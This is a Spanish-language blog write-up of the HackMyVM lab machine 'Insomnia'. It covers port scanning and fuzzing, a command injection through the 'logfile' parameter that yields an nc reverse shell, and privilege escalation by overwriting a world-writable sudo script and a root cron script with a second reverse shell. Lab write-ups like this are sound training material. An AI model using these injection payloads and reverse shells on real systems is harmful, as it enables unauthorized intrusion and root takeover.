cd ~/blog

~/writeups/hmv/015-insomnia.md

015 - Insomnia

easy Linux hmv 10-01-2024
Local File Inclusion + command injectionsudo writable script PrivescWritable cron script Privesc
hackmyvm.eu/machines/machine.php?vm=Insomnia

~1 min de lectura


Comenzamos con un escaneo general y uno específico de puertos:

 nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts.txt 192.168.1.22
 nmap -sC -sV -p8080 -oN 02-targeted.txt 192.168.1.22
Nmap scan report for 192.168.1.22
Host is up (0.00020s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE
8080/tcp open  http-proxy
MAC Address: 08:00:27:D0:A6:75 (Oracle VirtualBox virtual NIC)

# Nmap done at Wed Jan 10 20:38:38 2024 -- 1 IP address (1 host up) scanned in 0.94 seconds

Enumeramos rutas .php con wfuzz:

 wfuzz -c --hc=404 -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.1.22:8080/FUZZ.php
...
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000000015:   200        102 L    216 W      2899 Ch     "index"
000001763:   200        2 L      12 W       65 Ch       "administration"
000001927:   200        0 L      1 W        2 Ch        "process"
...

Comprobamos si administration.php acepta algún parámetro de fichero, fuzzeando contra /etc/passwd:

 wfuzz -c --hc=404 --hh 65 -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.1.22:8080/administration.php\?FUZZ\=/etc/passwd
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000199160:   200        2 L      12 W       76 Ch       "logfile"

El parámetro logfile permite incluir archivos (LFI) y, además, ejecutar comandos encadenándolos, lo que aprovechamos para una reverse shell:

  http://192.168.1.22:8080/administration.php?logfile=chat.txt;nc -e /bin/sh 192.168.1.10 4444

Obtenemos acceso y la primera flag. Iniciamos la escalada con sudo -l:

Matching Defaults entries for www-data on insomnia:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on insomnia:
    (julia) NOPASSWD: /bin/bash /var/www/html/start.sh

Podemos ejecutar start.sh como julia. Comprobamos sus permisos:

 www-data@insomnia:/$ ls -l /var/www/html/start.sh
-rwxrwxrwx 1 root root 20 Dec 21  2020 /var/www/html/start.sh

Es escribible, así que lo sobrescribimos con una línea que lance una shell como julia:

 www-data@insomnia:/$ echo "/bin/bash" > /var/www/html/start.sh
 sudo -u julia /bin/bash /var/www/html/start.sh

Ya como julia, analizamos su .bash_history y descubrimos un .sh sospechoso en /var/cron. Revisamos /etc/crontab:

 julia@insomnia:/var/cron$ cat /etc/crontab
...
*  *    * * *   root    /bin/bash /var/cron/check.sh
...

El script lo ejecuta root cada minuto y es escribible:

 julia@insomnia:/var/cron$ ls -l /var/cron/check.sh
-rwxrwxrwx 1 root root 153 Dec 21  2020 /var/cron/check.sh

Le añadimos una reverse shell y esperamos a que el cron la ejecute como root:

 julia@insomnia:/var/cron$ echo "nc -e /bin/bash 192.168.1.10 5555" >> check.sh

Obtenemos acceso root y nuestra bandera. Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados